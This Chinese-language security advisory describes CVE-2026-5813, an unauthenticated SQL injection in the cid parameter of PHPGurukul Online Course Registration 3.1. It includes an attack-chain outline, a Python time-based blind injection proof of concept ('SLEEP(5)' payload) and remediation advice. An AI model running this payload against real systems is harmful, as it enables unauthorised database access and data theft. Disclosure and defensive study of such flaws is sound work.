IPBUF安全漏洞报告
English
CVE-2026-5813 CVSS 7.3 高危

CVE-2026-5813 PHPGurukul Online Course Registration SQL注入漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-5813
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Online Course Registration

相关标签

SQL注入PHPGurukul远程代码执行Web安全高危漏洞

漏洞概述

PHPGurukul Online Course Registration 3.1版本中存在严重的SQL注入安全漏洞。该漏洞源于`/check_availability.php`文件未能正确处理用户输入的`cid`参数,导致攻击者能够构造恶意的SQL查询语句。由于该漏洞无需用户认证且可通过网络远程触发,攻击者可利用此漏洞窃取敏感数据库信息、修改数据或破坏系统完整性。鉴于相关利用代码已在互联网上公开,建议受影响用户尽快采取措施进行修复。

技术细节

该漏洞的根源在于PHPGurukul Online Course Registration 3.1在处理课程可用性检查请求时,未对输入参数进行有效的安全过滤,属于典型的SQL注入漏洞。具体而言,受影响的文件`/check_availability.php`接收用户提交的`cid`参数,开发者未使用预处理语句或参数化查询,而是将该参数直接拼接到SQL查询语句中执行。这种不安全的编码方式使得攻击者可以通过在`cid`参数中注入SQL控制字符(如单引号、UNION查询、注释符等),从而篡改原始的查询逻辑。根据CVSS向量分析,该漏洞攻击复杂度低(AC:L),无需任何用户权限(PR:N)且无需用户交互(UI:N),攻击者仅需向目标服务器发送构造好的恶意HTTP请求即可远程触发漏洞。成功的利用不仅可能导致数据库中的敏感信息(如管理员密码、用户个人信息、课程数据)被非法读取,还可能导致数据被篡改或删除,严重威胁系统的机密性、完整性和可用性。

攻击链分析

STEP 1
侦察
攻击者识别出目标网站正在使用PHPGurukul Online Course Registration 3.1版本。
STEP 2
武器化
攻击者构造针对`check_availability.php`文件中`cid`参数的恶意SQL注入载荷。
STEP 3
交付
攻击者通过网络向目标服务器发送包含恶意载荷的HTTP GET或POST请求。
STEP 4
利用
服务器端未过滤`cid`参数,直接将其拼接到SQL语句中执行,导致攻击者控制数据库查询。
STEP 5
影响
攻击者成功提取、修改或删除数据库中的敏感信息,造成数据泄露或系统破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable endpoint target_url = "http://example.com/check_availability.php" # SQL Injection Payload for 'cid' parameter # Using a simple time-based blind payload to demonstrate the vulnerability payload = "1' AND SLEEP(5)-- -" # Parameters to be sent params = { "cid": payload } try: # Send the GET request response = requests.get(target_url, params=params, timeout=10) # Analyze response time to confirm execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The database responded with a delay.") else: print("[-] No delay detected, vulnerability might not be present or patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

影响范围

PHPGurukul Online Course Registration 3.1

防御指南

临时缓解措施
建议立即检查`/check_availability.php`文件,将原始的SQL拼接查询修改为使用PDO或MySQLi预处理语句的方式。在未发布官方补丁前,应严格限制对该接口的外部访问,或通过输入正则验证确保`cid`参数仅包含数字。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表